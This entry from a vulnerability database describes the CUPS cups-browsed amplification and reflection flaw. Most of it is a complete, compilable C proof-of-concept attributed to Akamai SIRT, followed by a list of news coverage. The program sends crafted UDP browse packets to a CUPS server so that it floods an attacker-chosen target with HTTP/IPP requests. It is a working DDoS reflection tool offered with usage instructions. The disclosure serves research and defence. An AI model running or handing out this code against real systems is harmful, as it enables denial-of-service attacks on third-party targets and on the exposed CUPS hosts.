The VapidLabs Vulnerability Database

The problem arises when an attacker sends a crafted packet specifying the address of a target as a printer to be added. For each packet sent, the vulnerable CUPS server will generate a larger and partially attacker-controlled IPP/HTTP request directed at the specified target. As a result, not only is the target affected, but the host of the CUPS server also becomes a victim, as the attack consumes its network bandwidth and CPU resources.

// Larry Cashdollar Akamai SIRT
// Testing amplification and reflection vector of Evilsocket's CUPS vulnerability
// https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

void send_browsed_packet(const char *ip, int port, const char *ipp_server_host, int ipp_server_port, const char *payload) {
    printf("Sending UDP Payload to target %s and port %d\n", ipp_server_host, ipp_server_port);

    int printer_type = 0x00;
    int printer_state = 0x03;
    char printer_uri[256];
    snprintf(printer_uri, sizeof(printer_uri), "http://%s:%d/printers/%s", ipp_server_host, ipp_server_port, payload);

    const char *printer_location = "Office HQ";
    const char *printer_info = "Printer";

    char message[512];
    snprintf(message, sizeof(message), "%x %x %s \"%s\" \"%s\"",
             printer_type,
             printer_state,
             printer_uri,
             printer_location,
             printer_info);

    printf("Byte Size: %lu\n", strlen(message));

    int sock;
    struct sockaddr_in server_addr;

    sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0) {
        perror("Socket creation failed");
        return;
    }


    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(port);

    if (inet_pton(AF_INET, ip, &server_addr.sin_addr) <= 0) {
        perror("Invalid IP address");
        close(sock);
        return;
    }

    sendto(sock, message, strlen(message), 0, (struct sockaddr *)&server_addr, sizeof(server_addr));

    close(sock);
}

int main(int argc, char *argv[]) {
    if (argc < 5) {
        printf("CUPS Browsed Amplification Test PoC script - Larry Cashdollar Akamai.\n");
        printf("Usage: reflector_IP Port target target_port\n");
        return 1;
    }

    const char *reflector = argv[1];
    int ref_port = atoi(argv[2]);
    const char *target = argv[3];
    int tar_port = atoi(argv[4]);
    const char *payload = argv[4];

    send_browsed_packet(reflector, ref_port, target, tar_port, payload);

    return 0;
}

https://www.msn.com/en-gb/money/technology/ddos-attacks-can-be-amplified-by-cups-flaw/ar-AA1rItbc
https://www.secureblink.com/cyber-security-news/critical-cups-vulnerability-enables-600x-d-do-s-attack-amplification-1
https://heimdalsecurity.com/blog/cups-vulnerability/
https://www.rewterz.com/threat-advisory/recently-patched-vulnerability-in-cups-allows-ddos-attacks-to-be-amplified
https://www.acaglobal.com/insights/vulnerabilities-discovered-common-unix-printing-system-cups-can-enable-ddos-attacks
https://cyberinsider.com/over-58000-endpoints-vulnerable-to-600x-amplification-attacks/
https://informationsecuritybuzz.com/new-ddos-attack-vector-discovered-cups/
https://www.theregister.com/2024/10/07/critical_cups_vulnerability_chain_easy/
https://it.slashdot.org/story/24/10/05/0413201/akamai-warns-cups-vulnerability-also-brings-new-threat-of-ddos-attacks
https://www.techradar.com/pro/security/ddos-attacks-can-be-amplified-by-cups-flaw
https://www.computerweekly.com/news/366612800/Cups-Linux-printing-bugs-open-door-to-DDoS-attacks-says-Akamai
https://www.teiss.co.uk/news/news-scroller/experts-warn-of-ddos-attacks-exploiting-linux-printing-vulnerabilities-14720
https://www.bleepingcomputer.com/news/security/recently-patched-cups-flaw-can-be-used-to-amplify-ddos-attacks/
https://securityonline.info/cups-exploit-turns-common-devices-into-ddos-weapons/
https://www.msspalert.com/brief/cups-vulnerabilities-could-lead-to-widespread-attacks
https://www.scworld.com/brief/ddos-attacks-possible-with-exploitation-of-cups-vulnerabilities
https://www.helpnetsecurity.com/2024/10/03/cups-vulnerabilities-ddos/
https://www.darkreading.com/vulnerabilities-threats/unix-printing-vulnerabilities-easy-ddos-attacks
https://therecord.media/ddos-attacks-cups-linux-print-vulnerability
https://www.securityweek.com/after-code-execution-researchers-show-how-cups-can-be-abused-for-ddos-attacks/